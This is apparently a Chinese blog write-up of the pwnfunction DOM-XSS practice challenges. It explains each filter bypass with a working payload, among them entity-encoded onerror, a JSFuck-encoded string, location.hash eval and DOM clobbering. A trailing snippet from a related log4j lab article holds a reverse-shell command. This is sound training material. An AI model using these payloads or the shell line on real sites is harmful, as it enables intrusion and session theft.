xss.pwnfunction(DOM型XSS)靶场

2024-03-20 21:36
文章标签 靶场 xss dom pwnfunction

本文主要是介绍xss.pwnfunction(DOM型XSS)靶场，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

环境进入该网站

Challenges (pwnfunction.com)

第一关：Ma Spaghet! 

源码：

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

要求：

  • Difficulty is Easy.
  • Pop an alert(1337) on sandbox.pwnfunction.com.
  • No user interaction.
  • Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
  • Tested on Chrome.

分析源码：

在script标签里边，使用get传参的方式给somebody传一个值，如果没有传值，默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中

这里的spaghet后边加了一个innerHTMl的属性，官方解释

innerHTMLElement.innerHTML 属性设置或获取 HTML 语法表示的元素的后代。icon-default.png?t=N7T8https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML

我们用script插入这里看似插进去了，但是不会执行。所以我们换一个

这样我们就成功绕过

官方给的答案，原理是一样的，只是标签不一样。

第二关：Jefff

源码：

<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

要求：

  • Difficulty is Easy.
  • Pop an alert(1337) on sandbox.pwnfunction.com.
  • No user interaction.
  • Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
  • Tested on Chrome.

分析源码：

这里首先使用get传参的方式，给jeff一个值，将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性

官方解释

他不会去渲染我们的css样式，意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路，他不能加标签，那我们看能不能直接闭合ma，之后执行我们的代码

这很明显，我们成功绕过

第三关：Ugandan Knuckles

源码：

<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

要求还是和之前的一样

分析源码：

还是使用get方式传参；首先是传给wey一个值，然后赋值给变量let wey,然后这里过滤了<>尖括号，最后将我们的变量wey内容传给Uganda，显示在输入框中，Uganda也带一个inner HTML的属性，所以我们不能使用script标签,那就看看其他的思路;

这里使用onfocus 和autofucus 使用焦点的原理，可以使用onfocus获取焦点,再利用autofocus自动获取焦点，所以我们就触发执行代码

第四关：Ricardo Milos

源码:

<!-- Challenge -->
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>

分析源码：

使用get方式传参；传一个值给Ricardo，这里的submit是提交，意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript

第五关：Ah That's Hawt

源码：

<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

源码分析：

这里主要是过滤，将（）\ 和反引号过滤 ；会将这些符号转化为空

还有inner HTML，所以script也不能用了

不妨试一下用img的报错实现，因为我们的括号被过滤，那么我们可以试下使用实体编码进行绕过

?markassbrownlee=<img%20src=1%20οnerrοr=alert&#40;1337&#41;>

在h2这并没有找到我们插入的标签，这是为什么呢？明明也没有过滤我们的img标签啊

其实是因为url在传参时，会将我们的特殊符号进行解码，但我们传递的是html的实体编码，所以问题出现在了这里，那么我们再将实体编码再进行次url编码

?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>

第六关：Ligma

源码：

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里我们有个技巧，当看到过滤了大小写和数字时，我们使用一个工具就可以直接进行

解决办法:
利用框架绕过：https://jsfuck.com/

他就会用一些符号来表示我们的字符和数字等

这里我们将上边转好的复制输入进去

因为+在url传参时，会解码为空格，所以我们要对这些符号再次编码

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

第七关：Mafia

源码:

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析源码：

这里还是get方式传参，但是限制我们传入的参数长度最大为50个字节，而且过滤了一大堆东西，最后执行mafia

很明显上一关的方法就不行了

代码漏洞，他过滤了符号和alert函数，但是没有过滤confirm 函数

?mafia=confirm(1)

但很明显，这一题的考察点不在这里

我看了官方给出的3个答案

首先第一个答案：

Function构造了一个ALERT（1337）函数，

source 然后调用函数的源码，就拿到了ALERT(1337),在调用js中的转成小写，最后在加上一个括号就表示执行函数。这样就绕过了上边的限制条件，并且成功执行

第二个：

eval(8680439..toString(30))(1337)

toString()是返回一个函数的字符串，内容是函数的源码

这里返回了一个alert，那我们大胆猜前边的8680439就是的，但是是咋来的呢？其实就是我们的alert使用parseint函数转换成了30进制的一个整数

这里的三十是代表三十进制，因为要想直接显示alert，16进制是从0-9，A-F，所以到T这里就是三十进制了。所以最后执行代码就成功了。

第三个：

eval(location.hash.slice(1))

我们可以看到，location.hash，取到的是url里#后的值，slice函数是分片，可以将#后面的提取到

那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了

?mafia=eval(location.hash.slice(1))#alert(1337)

第八关：Ok, Boomer

源码：

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

分析：

这道题通过get参数将内容写入h2标签内，而且有过滤框架DOMPurify

DOMPurify防御用户输入框架，会把你的危险属性过滤完了

这个过滤框架由安全团队cure53开发，以我们的技术很难绕过

但是注意setTimeout函数内的ok参数

这里的JS代码是没有任何关于ok参数的定义的，所以我们可以使用DOM破坏

在这里右键--查看源代码会找到这个防御的框架

突破口

setTimeout(ok, 2000)

 这里使用一个dom clobbering称之为dom破坏技术

<a id=ok href=tel:alert(1337)>

这篇关于xss.pwnfunction(DOM型XSS)靶场的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/830804。

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重点 ref :官网给出的解释是： ref: 用于注册对元素或子组件的引用。引用将在父组件的$refs 对象下注册。如果在普通DOM元素上使用，则引用将是该元素；如果在子组件上使用，则引用将是组件实例： <!-- vm.$refs.p will be the DOM node --><p ref="p">hello</p><!-- vm.$refs.child will be the c
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react笔记 8-19 事件对象、获取dom元素、双向绑定

react笔记 8-19 事件对象、获取dom元素、双向绑定

1、事件对象event 通过事件的event对象获取它的dom元素 run=(event)=>{event.target.style="background:yellowgreen" //event的父级为他本身event.target.getAttribute("aid") //这样便获取到了它的自定义属性aid}render() {return (<div><h2>{
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xss-labs-master通关教程

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出，并不是echo执行的，而是echo把HTML代码发送到浏览器，浏览器对发送的H
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DOM 添加节点

DOM 添加节点

DOM 添加节点 在Web开发中，文档对象模型（DOM）是一个非常重要的概念。DOM是HTML和XML文档的编程接口，它将文档表示为节点树，允许开发人员通过JavaScript等脚本语言进行操作。在本文中，我们将探讨如何在DOM中添加节点，包括各种方法和最佳实践。 DOM节点简介 在DOM中，文档的每一个部分都是一个节点。主要的节点类型包括： 元素节点：HTML标签，例如<div>或<sp
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js操作Dom节点拼接表单及ajax提交表单

js操作Dom节点拼接表单及ajax提交表单

有时候我们不希望html(jsp、vm)中有创建太多的标签（dom节点），所以这些任务都由js来做，下面提供套完整的表单提交流程，只需要在html中添加两个div其余的都由js来做吧。下面原生代码只需略微修改就能达到你想要的效果。 1、需要创建表单的点击事件 <a href="javascript:void(0);"onclick="changeSettleMoney('$!doctor.do
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log4j靶场，反弹shell

log4j靶场，反弹shell

1.用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令 2.发现端口是8983，浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显，看看有没有漏洞存在 4.反弹shell到kali（ip为172.16.1.18）的8888端口 bash -i >& /dev/tcp/172.16.1.18
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Web安全之XSS跨站脚本攻击：如何预防及解决

Web安全之XSS跨站脚本攻击：如何预防及解决

1. 什么是XSS注入 XSS（跨站脚本攻击，Cross-Site Scripting）是一种常见的Web安全漏洞，通过注入恶意代码（通常是JavaScript）到目标网站的网页中，以此在用户浏览网页时执行。攻击者可以通过XSS获取用户的敏感信息（如Cookie、会话令牌）或控制用户浏览器的行为，进而造成信息泄露、身份冒用等严重后果。 2. XSS攻击类型 2.1 存储型XSS 存储型XS
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【前端安全】浅谈XSS攻击和防范

【前端安全】浅谈XSS攻击和防范

定义 XSS是跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。 恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。 分类 大分类小分类原理非存储DOM型① 不需要经过服务器
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